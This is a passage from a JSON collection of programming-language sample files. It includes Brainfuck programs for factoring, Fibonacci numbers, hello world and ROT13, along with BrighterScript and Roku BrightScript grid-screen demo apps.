[X]bool, {:linear \"tid\"} xl: X)\n{ assume xl != nil && xls'[xl]; xls := xls'[xl := false]; }\n\nprocedure {:yields} {:layer 0} {:refines \"AtomicAllocateLow\"} AllocateLow ({:linear_in \"tid\"} xls':[X]bool) returns ({:linear \"tid\"} xls: [X]bool, {:linear \"tid\"} xl: X);\n"
  },
  {
    "path": "samples/Brainfuck/factor.b",
    "content": "* factor an arbitrarily large positive integer\n*\n* Copyright (C) 1999 by Brian Raiter\n* under the GNU General Public License\n\n>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-\n\n*\n* read in the number\n*\n\n<<<<<<<<<+\n[-[>>>>>>>>>>][-]<<<<<<<<<<[[->>>>>>>>>>+<<<<<<<<<<]<<<<<<<<<<]\n  >>>>>>>>>>,----------]\n>>>>>>>>>>[------------------------------------->>>>>>>>>->]\n<[+>[>>>>>>>>>+>]<-<<<<<<<<<<]-\n\n*\n* display the number and initialize the loop variable to two\n*\n\n[>++++++++++++++++++++++++++++++++++++++++++++++++.\n  ------------------------------------------------<<<<<<<<<<<]\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.\n--------------------------.[-]\n>>>>>>>>>>>>++<<<<+\n\n*\n* the main loop\n*\n\n[ [-]>>\n\n  *\n  * make copies of the number and the loop variable\n  *\n\n  [>>>>[-]>[-]>[-]>[-]\n    >[-]>[-]\n    <<<<<<<[->>>+>+<<<<]>>>>>>>>]\n  <<<<<<<<<<[>>>>>>[-<<<<+>>>>]<<<<<<<<<<<<<<<<]>>>>>>>>>>\n  [>[->>>+>>+<<<<<]>>>>>>>>>]\n  <<<<<<<<<<[>>>>>>[-<<<<<+>>>>>]<<<<<<<<<<<<<<<<]>>>>>>>>>>\n\n  *\n  * divide the number by the loop variable\n  *\n\n  [>>>[-]>>>[-]>[-]>>>]                                  initialize\n  <<<<<<<<<<[<<<<<<<<<<]\n  >>>>>>>>>[-]>>>>>>>+<<<<<<<<[+]+\n  [ ->>                               double divisor until above dividend\n    [>>>>>>[->++<]>>>>]<<<<<<<<<<\n    [>>>>>>>>[-]>[-]\n       <<<<[->>>++<<<]<<<<<<<<<<<<<<<]>>>>>>>>>>\n    [>>>>>>>>[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<\n            [->--------->>>>>>>>>+<<<<<<<<<<[->+<]]]]]]]]]]]>>]\n    <<<<<<<<<<[>>>>>>>>>[-<+<<<+>>>>]<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>\n    [>>>>>>>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>\n            [-<--------->>>>>>>>>>>+<<<<<<<<<<[-<+>]]]]]]]]]]]>>>]\n    <<<<<<<<<<\n    [>>>>[->>>+>>+<<<<<]<<<<<<<<<<<<<<]\n    >>>>>>>>>>[>>>>>>>[-<<<+>>>]>>>]<<<<<<<<<<\n    [>>>>>>>>[->-<]>\n      [<<<<<<<<<[<[-]>>>>>>>>>>[-<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<]\n        >>>>>>>>>>>>>>>>>>>]\n      <<<<<<<<<<<<<<<<<<<]\n    >>>>>>>>>[+[+[+[+[+[+[+[+[+[+[[-]<+>]]]]]]]]]]]<\n  ]\n  >>>>>>>>\n  [                                   subtract divisor from dividend\n    <<<<<<\n    [>>>>>>>>[-]>[-]<<<<<[->>>+>+<<<<]>>>>>>]<<<<<<<<<<\n    [>>>>>>>>[-<<<<+>>>>]<<<[->>>+>+<<<<]<<<<<<<<<<<<<<<]>>>>>>>>>>\n    [>>>>>>>>>[-<<<<+>>>>]>]<<<<<<<<<<\n    [>>>>>>>>[-<->]<<<<<<<<<<<<<<<<<<]>>>>>>>>>>\n    [>>>>>>>[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<\n            [++++++++++[+>-<]>>>>>>>>>>-<<<<<<<<<<]]]]]]]]]]]>>>]\n    >>>>>>>+\n    [                                 if difference is nonnegative then\n      [-]<<<<<<<<<<<<<<<<<            replace dividend and increment quotient\n      [>>>>[-]>>>>[-<<<<+>>>>]<<[->>+<<]<<<<<<<<<<<<<<<<]>>>>>>>>>>\n      [>>>>>>>>[->+<<<+>>]>>]<<<<<<<<<<\n      [>>>[->>>>>>+<<<<<<]<<<<<<<<<<<<<]>>>>>>>>>>\n      [>>>>>>>>>[-<<<<<<+>>>>>>[-<<<<<<+>>>>>>\n                [-<<<<<<+>>>>>>[-<<<<<<+>>>>>>\n                [-<<<<<<+>>>>>>[-<<<<<<+>>>>>>\n                [-<<<<<<+>>>>>>[-<<<<<<+>>>>>>\n                [-<<<<<<+>>>>>>[-<<<<<<--------->>>>>>>>>>>>>>>>+<<<<<<<<<<\n                [-<<<<<<+>>>>>>]]]]]]]]]]]>]\n      >>>>>>>\n    ]                                 halve divisor and loop until zero\n    <<<<<<<<<<<<<<<<<[<<<<<<<<<<]>>>>>>>>>>\n    [>>>>>>>>[-]<<[->+<]<[->>>+<<<]>>>>>]<<<<<<<<<<\n    [+>>>>>>>[-<<<<<<<+>>>>>>>[-<<<<<<<->>>>>>+>\n             [-<<<<<<<+>>>>>>>[-<<<<<<<->>>>>>+>\n             [-<<<<<<<+>>>>>>>[-<<<<<<<->>>>>>+>\n             [-<<<<<<<+>>>>>>>[-<<<<<<<->>>>>>+>\n             [-<<<<<<<+>>>>>>>]]]]]]]]]<<<<<<<\n             [->>>>>>>+<<<<<<<]-<<<<<<<<<<]\n    >>>>>>>\n    [-<<<<<<<<<<<+>>>>>>>>>>>]\n      >>>[>>>>>>>[-<<<<<<<<<<<+++++>>>>>>>>>>>]>>>]<<<<<<<<<<\n    [+>>>>>>>>[-<<<<<<<<+>>>>>>>>[-<<<<<<<<->>>>>+>>>\n              [-<<<<<<<<+>>>>>>>>[-<<<<<<<<->>>>>+>>>\n              [-<<<<<<<<+>>>>>>>>[-<<<<<<<<->>>>>+>>>\n              [-<<<<<<<<+>>>>>>>>[-<<<<<<<<->>>>>+>>>\n              [-<<<<<<<<+>>>>>>>>]]]]]]]]]<<<<<<<<\n              [->>>>>>>>+<<<<<<<<]-<<<<<<<<<<]\n    >>>>>>>>[-<<<<<<<<<<<<<+>>>>>>>>>>>>>]>>\n    [>>>>>>>>[-<<<<<<<<<<<<<+++++>>>>>>>>>>>>>]>>]<<<<<<<<<<\n    [<<<<<<<<<<]>>>>>>>>>>\n    >>>>>>\n  ]\n  <<<<<<\n\n  *\n  * make copies of the loop variable and the quotient\n  *\n\n  [>>>[->>>>+>+<<<<<]>>>>>>>]\n  <<<<<<<<<<\n  [>>>>>>>[-<<<<+>>>>]<<<<<[->>>>>+>>+<<<<<<<]<<<<<<<<<<<<]\n  >>>>>>>>>>[>>>>>>>[-<<<<<+>>>>>]>>>]<<<<<<<<<<\n\n  *\n  * break out of the loop if the quotient is larger than the loop variable\n  *\n\n  [>>>>>>>>>[-<->]<\n    [<<<<<<<<\n      [<<[-]>>>>>>>>>>[-<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<<<<<<<<<]\n    >>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<]\n  >>>>>>>>[>-<[+[+[+[+[+[+[+[+[+[[-]>+<]]]]]]]]]]]>+\n\n  [ [-]\n\n    *\n    * partially increment the loop variable\n    *\n\n    <[-]+>>>>+>>>>>>>>[>>>>>>>>>>]<<<<<<<<<<\n\n    *\n    * examine the remainder for nonzero digits\n    *\n\n    [<<<<<<[<<<<[<<<<<<<<<<]>>>>+<<<<<<<<<<]<<<<]\n    >>>>>>>>>>>>>>>>>>>>[>>>>>>>>>>]<<<<<<<<<<[<<<<<<<<<<]\n    >>>>-\n\n    [ [+]\n\n      *\n      * decrement the loop variable and replace the number with the quotient\n      *\n\n      >>>>>>>>-<<[>[-]>>[-<<+>>]>>>>>>>]<<<<<<<<<<\n\n      *\n      * display the loop variable\n      *\n\n      [+>>[>>>>>>>>+>>]<<-<<<<<<<<<<]-\n      [>>++++++++++++++++++++++++++++++++++++++++++++++++.\n         ------------------------------------------------<<<<<<<<<<<<]\n      ++++++++++++++++++++++++++++++++.[-]>>>>\n\n    ]\n\n    *\n    * normalize the loop variable\n    *\n\n    >>>>>>\n    [>>[->>>>>+<<<<<[->>>>>+<<<<<\n       [->>>>>+<<<<<[->>>>>+<<<<<\n       [->>>>>+<<<<<[->>>>>+<<<<<\n       [->>>>>+<<<<<[->>>>>+<<<<<\n       [->>>>>+<<<<<[->>>>>--------->>>>>+<<<<<<<<<<\n       [->>>>>+<<<<<]]]]]]]]]]]>>>>>>>>]\n    <<<<<<<<<<[>>>>>>>[-<<<<<+>>>>>]<<<<<<<<<<<<<<<<<]\n    >>>>>>>>>\n\n  ]<\n\n]>>\n\n*\n* display the number and end\n*\n\n[>>>>>>>>>>]<<<<<<<<<<[+>[>>>>>>>>>+>]<-<<<<<<<<<<]-\n[>++++++++++++++++++++++++++++++++++++++++++++++++.<<<<<<<<<<<]\n++++++++++.\n"
  },
  {
    "path": "samples/Brainfuck/fib100.bf",
    "content": "# Calculate and output all fibonacci numbers under 100\n\n+++++++++++\n>+>>>>++++++++++++++++++++++++++++++++++++++++++++\n>++++++++++++++++++++++++++++++++<<<<<<[>[>>>>>>+>\n+<<<<<<<-]>>>>>>>[<<<<<<<+>>>>>>>-]<[>++++++++++[-\n<-[>>+>+<<<-]>>>[<<<+>>>-]+<[>[-]<[-]]>[<<[>>>+<<<\n-]>>[-]]<<]>>>[>>+>+<<<-]>>>[<<<+>>>-]+<[>[-]<[-]]\n>[<<+>>[-]]<<<<<<<]>>>>>[+++++++++++++++++++++++++\n+++++++++++++++++++++++.[-]]++++++++++<[->-<]>++++\n++++++++++++++++++++++++++++++++++++++++++++.[-]<<\n<<<<<<<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<-[>>.>.<<<\n[-]]<<[>>+>+<<<-]>>>[<<<+>>>-]<<[<+>-]>[<+>-]<<<-]"
  },
  {
    "path": "samples/Brainfuck/hello.bf",
    "content": "// More complex version of hello world\n\n>++++++++[<+++++++++>-]<.>>+>+>++>[-]+<[>[->+<<++++>]<<]>.+++++++..+++.>\n>+++++++.<<<[[-]<[-]>]<+++++++++++++++.>>.+++.------.--------.>>+.>++++."
  },
  {
    "path": "samples/Brainfuck/helloworld.bf",
    "content": "// Hello World\n\n++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++."
  },
  {
    "path": "samples/Brainfuck/rot13.bf",
    "content": "# ROT13 cipher\n\n-,+[                         Read first character and start outer character reading loop\n    -[                       Skip forward if character is 0\n        >>++++[>++++++++<-]  Set up divisor (32) for division loop\n                               (MEMORY LAYOUT: dividend copy remainder divisor quotient zero zero)\n        <+<-[                Set up dividend (x minus 1) and enter division loop\n            >+>+>-[>>>]      Increase copy and remainder / reduce divisor / Normal case: skip forward\n            <[[>+<-]>>+>]    Special case: move remainder back to divisor and increase quotient\n            <<<<<-           Decrement dividend\n        ]                    End division loop\n    ]>>>[-]+                 End skip loop; zero former divisor and reuse space for a flag\n    >--[-[<->+++[-]]]<[         Zero that flag unless quotient was 2 or 3; zero quotient; check flag\n        ++++++++++++<[       If flag then set up divisor (13) for second division loop\n                               (MEMORY LAYOUT: zero copy dividend divisor remainder quotient zero zero)\n            >-[>+>>]         Reduce divisor; Normal case: increase remainder\n            >[+[<+>-]>+>>]   Special case: increase remainder / move it back to divisor / increase quotient\n            <<<<<-           Decrease dividend\n        ]                    End division loop\n        >>[<+>-]             Add remainder back to divisor to get a useful 13\n        >[                   Skip forward if quotient was 0\n            -[               Decrement quotient and skip forward if quotient was 1\n                -<<[-]>>     Zero quotient and divisor if quotient was 2\n            ]<<[<<->>-]>>    Zero divisor and subtract 13 from copy if quotient was 1\n        ]<<[<<+>>-]          Zero divisor and add 13 to copy if quotient was 0\n    ]                        End outer skip loop (jump to here if ((character minus 1)/32) was not 2 or 3)\n    <[-]                     Clear remainder from first division if second division was skipped\n    <.[-]                    Output ROT13ed character from copy and clear it\n    <-,+                     Read next character\n]                            End character reading loop"
  },
  {
    "path": "samples/BrighterScript/Main.bs",
    "content": "' *********************************************************\n' **  BrighterScript demonstration file\n' **  Nov 2021\n' **  Using Roku's SimpleGrid example\n' *********************************************************\n\n'************************************************************\n'** Import statement\n'************************************************************\nimport \"SimpleGrid.bs\"\n\n'************************************************************\n'** New Functionalitys examples\n'************************************************************\nfunction Main() as Void\n    app = new ApplicationClass()\nend function\n\nclass ApplicationClass\n    public thisIsATernaryExample as string\n    public thisIsAStringTemplateExample as string\n    public user as Dynamic\n    public aNode as Object\n\n    public function new() as Void\n        m.init()\n    end function\n\n    private function init()\n        'Run imported SimpleGrid StartApp()\n        StartApp()\n\n        'Ternary operator\n        m.thisIsATernaryExample = 1 = 1 ? \"1 equals 1\" : \"1 is different from 1\"\n        print \"Ternary example: \", m.thisIsATernaryExample\n\n        'Template Strings\n        m.thisIsAStringTemplateExample = `The result from ternary example is ${m.thisIsATernaryExample}`\n        print \"Template strings example: \", m.thisIsAStringTemplateExample\n\n        'Null-coalescing operator\n        user = m.user ?? \"User is null/invalid, got this string instead\"\n        print \"Null-coalescing operator: \", user\n\n        'Regular Expression Literals\n        '   Gets transpiled to -> print CreateObject(\"roRegex\", \"hello world\", \"ig\")\n        print /hello world/ig\n\n        'Source Literals\n        '   prints \"file :///PATH.bs\"\n        print SOURCE_FILE_PATH\n        '   prints the \"print SOURCE_LINE_NUM\" line's number\n        print SOURCE_LINE_NUM\n        '   prints function's name\n        print FUNCTION_NAME\n        '   prints function's name, namespaced, ex: class.functionName\n        print SOURCE_FUNCTION_NAME\n        '   prints a combination of SOURCE_FILE_PATH and SOURCE_LINE_NUM. ex: \"file :///PATH.bs\"\n        print SOURCE_LOCATION\n        '   prints The pkg path of the file. ex: \"pkg:/source/main.brs\"\n        print PKG_PATH\n    end function\n\nend class\n"
  },
  {
    "path": "samples/BrighterScript/RowListExample.bs",
    "content": "sub Main()\n    showChannelSGScreen()\n  end sub\n  \n  sub showChannelSGScreen()\n    screen = CreateObject(\"roSGScreen\")\n    m.port = CreateObject(\"roMessagePort\")\n    screen.setMessagePort(m.port)\n    scene = screen.CreateScene(\"RowListExample\")\n    screen.show()\n  \n    while(true)\n      msg = wait(0, m.port)\n      msgType = type(msg)\n  \n      if msgType = \"roSGScreenEvent\"\n        if msg.isScreenClosed() then return\n      end if\n    end while\n  \n  end sub"
  },
  {
    "path": "samples/BrighterScript/SimpleGrid.bs",
    "content": "'************************************************************\n'** Application startup\n'************************************************************\nSub StartApp()\n\n    'initialize theme attributes like titles, logos and overhang color\n    initTheme()\n  \n    gridstyle = \"Flat-Movie\"\n\n    'set to go, time to get started\n    while gridstyle <> \"\"\n        print \"starting grid style= \";gridstyle\n        screen=preShowGridScreen(gridstyle)\n        gridstyle = showGridScreen(screen, gridstyle)\n    end while\n\nEnd Sub\n\n\n'*************************************************************\n'** Set the configurable theme attributes for the application\n'** \n'** Configure the custom overhang and Logo attributes\n'** These attributes affect the branding of the application\n'** and are artwork, colors and offsets specific to the app\n'*************************************************************\n\nSub initTheme()\n    app = CreateObject(\"roAppManager\")\n    app.SetTheme(CreateDefaultTheme())\nEnd Sub\n\n'******************************************************\n'** @return The default application theme.\n'** Screens can make slight adjustments to the default\n'** theme by getting it from here and then overriding\n'** individual theme attributes.\n'******************************************************\nFunction CreateDefaultTheme() as Object\n    theme = CreateObject(\"roAssociativeArray\")\n\n    theme.ThemeType = \"generic-dark\"\n\n    ' All these are greyscales\n    theme.GridScreenBackgroundColor = \"#363636\"\n    theme.GridScreenMessageColor    = \"#808080\"\n    theme.GridScreenRetrievingColor = \"#CCCCCC\"\n    theme.GridScreenListNameColor   = \"#FFFFFF\"\n\n    ' Color values work here\n    theme.GridScreenDescriptionTitleColor    = \"#001090\"\n    theme.GridScreenDescriptionDateColor     = \"#FF005B\"\n    theme.GridScreenDescriptionRuntimeColor  = \"#5B005B\"\n    theme.GridScreenDescriptionSynopsisColor = \"#606000\"\n    \n    'used in the Grid Screen\n    theme.CounterTextLeft           = \"#FF0000\"\n    theme.CounterSeparator          = \"#00FF00\"\n    theme.CounterTextRight          = \"#0000FF\"\n    \n    theme.GridScreenLogoHD          = \"pkg:/images/Overhang_Test_HD.png\"\n\n    theme.GridScreenLogoOffsetHD_X  = \"0\"\n    theme.GridScreenLogoOffsetHD_Y  = \"0\"\n    theme.GridScreenOverhangHeightHD = \"99\"\n\n    theme.GridScreenLogoSD          = \"pkg:/images/Overhang_Test_SD43.png\"\n    theme.GridScreenOverhangHeightSD = \"66\"\n    theme.GridScreenLogoOffsetSD_X  = \"0\"\n    theme.GridScreenLogoOffsetSD_Y  = \"0\"\n    \n    ' to use your own focus ring artwork \n    'theme.GridScreenFocusBorderSD        = \"pkg:/images/GridCenter_Border_Movies_SD43.png\"\n    'theme.GridScreenBorderOffsetSD  = \"(-26,-25)\"\n    'theme.GridScreenFocusBorderHD        = \"pkg:/images/GridCenter_Border_Movies_HD.png\"\n    'theme.GridScreenBorderOffsetHD  = \"(-28,-20)\"\n    \n    ' to use your own description background artwork\n    'theme.GridScreenDescriptionImageSD  = \"pkg:/images/Grid_Description_Background_SD43.png\"\n    'theme.GridScreenDescriptionOffsetSD = \"(125,170)\"\n    'theme.GridScreenDescriptionImageHD  = \"pkg:/images/Grid_Description_Background_HD.png\"\n    'theme.GridScreenDescriptionOffsetHD = \"(190,255)\"\n    \n\n    return theme\nEnd Function\n\n'******************************************************\n'** Perform any startup/initialization stuff prior to \n'** initially showing the screen.  \n'******************************************************\nFunction preShowGridScreen(style as string) As Object\n\n    m.port=CreateObject(\"roMessagePort\")\n    screen = CreateObject(\"roGridScreen\")\n    screen.SetMessagePort(m.port)\n'    screen.SetDisplayMode(\"best-fit\")\n    screen.SetDisplayMode(\"scale-to-fill\")\n\n    screen.SetGridStyle(style)\n    return screen\n\nEnd Function\n\n\n'******************************************************\n'** Display the gird screen and wait for events from \n'** the screen. The screen will show retreiving while\n'** we fetch and parse the feeds for the show posters\n'******************************************************\nFunction showGridScreen(screen As Object, gridstyle as string) As string\n\n    print \"enter showGridScreen\"\n\n    categoryList = getCategoryList()\n    categoryList[0] = \"GridStyle: \" + gridstyle\n    screen.setupLists(categoryList.count())\n    screen.SetListNames(categoryList)\n    StyleButtons = getGridControlButtons()\n    screen.SetContentList(0, StyleButtons)\n    for i = 1 to categoryList.count()-1\n        screen.SetContentList(i, getShowsForCategoryItem(categoryList[i]))\n    end for\n    screen.Show()\n\n    while true\n        print \"Waiting for message\"\n        msg = wait(0, m.port)\n        'msg = wait(0, screen.GetMessagePort())     ' getmessageport does not work on gridscreen\n        print \"Got Message:\";type(msg)\n        if type(msg) = \"roGridScreenEvent\" then\n            print \"msg= \"; msg.GetMessage() \" , index= \"; msg.GetIndex(); \" data= \"; msg.getData()\n            if msg.isListItemFocused() then\n                print\"list item focused | current show = \"; msg.GetIndex()\n            else if msg.isListItemSelected() then\n                row = msg.GetIndex()\n                selection = msg.getData()\n                print \"list item selected row= \"; row; \" selection= \"; selection\n\n                ' Did we get a selection from the gridstyle selection row?\n                if (row = 0)\n                    ' yes, return so we can come back with new style\n                    return StyleButtons[selection].Title\n                endif\n\n                'm.curShow = displayShowDetailScreen(showList[msg.GetIndex()])\n            else if msg.isScreenClosed() then\n                return \"\"\n            end if\n        end If\n    end while\n\n\nEnd Function\n\n'**********************************************************\n'** When a poster on the home screen is selected, we call\n'** this function passing an roAssociativeArray with the \n'** ContentMetaData for the selected show.  This data should \n'** be sufficient for the springboard to display\n'**********************************************************\nFunction displayShowDetailScreen(category as Object, showIndex as Integer) As Integer\n\n    'add code to create springboard, for now we do nothing\n    return 1\n\nEnd Function\n\n\n'**************************************************************\n'** Return the list of categories to display in the filter\n'** banner. The result is an roArray containing the names of \n'** all of the categories. All just static data for the example.\n'***************************************************************\nFunction getCategoryList() As Object\n\n    categoryList = [ \"GridStyle\", \"Reality\", \"History\", \"News\", \"Comedy\", \"Drama\"]\n    return categoryList\n\nEnd Function\n\n\n'********************************************************************\n'** Given the category from the filter banner, return an array \n'** of ContentMetaData objects (roAssociativeArray's) representing \n'** the shows for the category. For this example, we just cheat and\n'** create and return a static array with just the minimal items\n'** set, but ideally, you'd go to a feed service, fetch and parse\n'** this data dynamically, so content for each category is dynamic\n'********************************************************************\nFunction getShowsForCategoryItem(category As Object) As Object\n\n    print \"getting shows for category \"; category\n\n    showList = [\n        {\n            Title: category + \": Header\",\n            releaseDate: \"1976\",\n            length: 3600-600,\n            Description:\"This row is category \" + category,\n            hdBranded: true,\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\",\n            Description:\"Short Synopsis #1\",\n            Synopsis:\"Length\",\n            StarRating:10,\n        }\n        {\n            Title: category + \": Beverly Hillbillies\",\n            releaseDate: \"1969\",\n            rating: \"PG\",\n            Description:\"Come and listen to a story about a man named Jed: Poor mountaineer, barely kept his family fed. Then one day he was shootin at some food, and up through the ground came a bubblin crude. Oil that is, black gold, Texas tea.\",\n            numEpisodes:42,\n            contentType:\"season\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/4/4e/The_Beverly_Hillbillies.jpg\",\n            StarRating:80,\n            UserStarRating:40\n        }\n        {\n            Title: category + \": Babylon 5\",\n            releaseDate: \"1996\",\n            rating: \"PG\",\n            Description:\"The show centers on the Babylon 5 space station: a focal point for politics, diplomacy, and conflict during the years 2257-2262.\",\n            numEpisodes:102,\n            contentType:\"season\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/9/9d/Smb5-s4.jpg\",\n            StarRating:80,\n            UserStarRating:40\n        }\n        {\n            Title: category + \": John F. Kennedy\",\n            releaseDate: \"1961\",\n            rating: \"PG\",\n            Description:\"My fellow citizens of the world: ask not what America will do for you, but what together we can do for the freedom of man.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/en/5/52/Jfk_happy_birthday_1.jpg\",\n            StarRating:100\n        }\n        {\n            Title: category + \": Man on the Moon\",\n            releaseDate: \"1969\",\n            rating: \"PG\",\n            Description:\"That's one small step for a man, one giant leap for mankind.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/1/1e/Apollo_11_first_step.jpg\",\n            StarRating:100\n        }\n        {\n            Title: category + \": I have a Dream\",\n            releaseDate: \"1963\",\n            rating: \"PG\",\n            Description:\"I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character.\",\n            HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg\",\n            SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/8/81/Martin_Luther_King_-_March_on_Washington.jpg\",\n            StarRating:100\n        }\n    ]\n\n    return showList\nEnd Function\n    \nfunction getGridControlButtons() as object\n        buttons = [\n            { Title: \"Flat-Movie\"\n              ReleaseDate: \"HD:5x2 SD:5x2\"\n              Description: \"Flat-Movie (Netflix) style\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\"\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/4/43/Gold_star_on_blue.gif\"\n            }\n            { Title: \"Flat-Landscape\"\n              ReleaseDate: \"HD:5x3 SD:4x3\"\n              Description: \"Channel Store\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/9/96/Dunkery_Hill.jpg/800px-Dunkery_Hill.jpg\",\n            }\n            { Title: \"Flat-Portrait\"\n              ReleaseDate: \"HD:5x2 SD:5x2\"\n              Description: \"3x4 style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/9/9f/Kane_George_Gurnett.jpg\",\n            }\n            { Title: \"Flat-Square\"\n              ReleaseDate: \"HD:7x3 SD:6x3\"\n              Description: \"1x1 style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/de/SQUARE_SHAPE.svg/536px-SQUARE_SHAPE.svg.png\",\n            }\n            { Title: \"Flat-16x9\"\n              ReleaseDate: \"HD:5x3 SD:4x3\"\n              Description: \"HD style posters\"\n              HDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png\",\n              SDPosterUrl:\"http://upload.wikimedia.org/wikipedia/commons/thumb/2/22/%C3%89cran_TV_plat.svg/200px-%C3%89cran_TV_plat.svg.png\",\n            }\n       ]\n       return buttons\nEnd Function\n"
  },
  {
    "path": "samples/Brightscript/SimpleGrid.brs",
    "content": "' *********************************************************\n' **  Simple Grid Screen Demonstration App\n' **  Jun 2010\n' **  Copyright (c) 2010 Roku Inc. All Rights Reserved.\n' *********************************************************\n\n'************************************************************\n'** Application startup\n'************************************************************\nSub Main()\n\n    'initialize theme attributes like titles, logos and overhang color\n    initTheme()\n  \n    gridstyle = \"Flat-Movie\"\n\n    'set to go, time to get started\n    while gridstyle <> \"\"\n        print \"starting grid style= \";gridstyle\n        screen=preShowGridScreen(gridstyle)\n        gridstyle = showGridScreen(screen, gridstyle)\n    end while\n\nEnd Sub\n\n\n'*************************************************************\n'** Set the configurable theme attributes for the application\n'** \n'** Configure the custom overhang and Logo attributes\n'** These attributes affect the branding of the application\n'** and are artwork, colors and offsets specific to the app\n'*************************************************************\n\nSub initTheme()\n    app = CreateObject(\"roAppManager\")\n    app.SetTheme(CreateDefaultTheme())\nEnd Sub\n\n'******************************************************\n'** @return The default application theme.\n'** Screens can make slight adjustments to the default\n'** theme by getting it from here and then overriding\n'** individual theme attributes.\n'******************************************************\nFunction CreateDefaultTheme() as Object\n    theme = CreateObject(\"roAssociativeArray\")\n\n    theme.ThemeType = \"generic-dark\"\n\n    ' All these are greyscales\n    theme.GridScreenBackgroundColor = \"#363636\"\n    theme.GridScreenMessageColor    = \"#808080\"\n    theme.GridScreenRetrievingColor = \"#CCCCCC\"\n    theme.GridScreenListNameColor   = \"#FFFFFF\"\n\n    ' Color values work here\n    theme.GridScreenDescriptionTitleColor    = \"#001090\"\n    theme.GridScreenDescriptionDateColor     = \"#FF005B\"\n    theme.GridScreenDescriptionRuntimeColor  = \"#5B005B\"\n    theme.GridScreenDescriptionSynopsisColor = \"#606000\"\n    \n    'used in the Grid Screen\n    theme.CounterTextLeft           = \"#FF0000\"\n    theme.CounterSeparator          = \"#00FF00\"\n    theme.CounterTextRight          = \"#0000FF\"\n    \n    theme.GridScreenLogoHD          = \"pkg:/images/Overhang_Test_HD.png\"\n\n    theme.GridScreenLogoOffsetHD_X  = \"0\"\n    theme.GridScreenLogoOffsetHD_Y  = \"0\"\n    theme.GridScreenOverhangHeightHD = \"99\"\n\n    theme.GridScreenLogoSD          = \"pkg:/images/Overhang_Test_SD43.png\"\n    theme.GridScreenOverhangHeightSD = \"66\"\n    theme.GridScreenLogoOffsetSD_X  = \"0\"\n    theme.GridScreenLogoOffsetSD_Y  = \"0\"\n    \n    ' to use your own focus ring artwork \n    'theme.GridScreenFocusBorderSD        = \"pkg:/images/GridCenter_Border_Movies_SD43.png\"\n    'theme.GridScreenBorderOffsetSD  = \"(-26,-25)\"\n    'theme.GridScreenFocusBorderHD        = \"pkg:/images/GridCenter_Border_Movies_HD.png\"\n    'theme.GridScreenBorderOffsetHD  = \"(-28,-20)\"\n    \n    ' to use your own description background artwork\n    'theme.GridScreenDescriptionImageSD  = \"pkg:/images/Grid_Description_Background_SD43.png\"\n    'theme.GridScreenDescriptionOffsetSD = \"(125,170)\"\n    'theme.GridScreenDescriptionImageHD  = \"pkg:/images/Grid_Description_Background_HD.png\"\n    'theme.GridScreenDescriptionOffsetHD = \"(190,255)\"\n    \n\n    return theme\nEnd Function\n\n'******************************************************\n'** Perform any startup/initialization stuff prior to \n'** initially showing the screen.  \n'******************************************************\nFunction preShowGridScreen(style as string) As Object\n\n    m.port=CreateObject(\"roMessagePort\")\n    screen = CreateObject(\"roGridScreen\")\n    screen.SetMessagePort(m.port)\n'    screen.SetDisplayMode(\"best-fit\")\n    screen.SetDisplayMode(\"scale-to-fill\")\n\n    screen.SetGridStyle(style)\n    return screen\n\nEnd Function\n\n\n'******************************************************\n'** Display the gird screen and wait for events from \n'** the screen. The screen will show retreiving while\n'** we fetch and parse the feeds for the show posters\n'******************************************************\nFunction showGridScreen(screen As Object, gridstyle as string) As string\n\n    print \"enter showGridScreen\"\n\n    categoryList = getCategoryList()\n    categoryList[0] = \"GridStyle: \" + gridstyle\n    screen.setupLists(categoryList.count())\n    screen.SetListNames(categoryList)\n    StyleButtons = 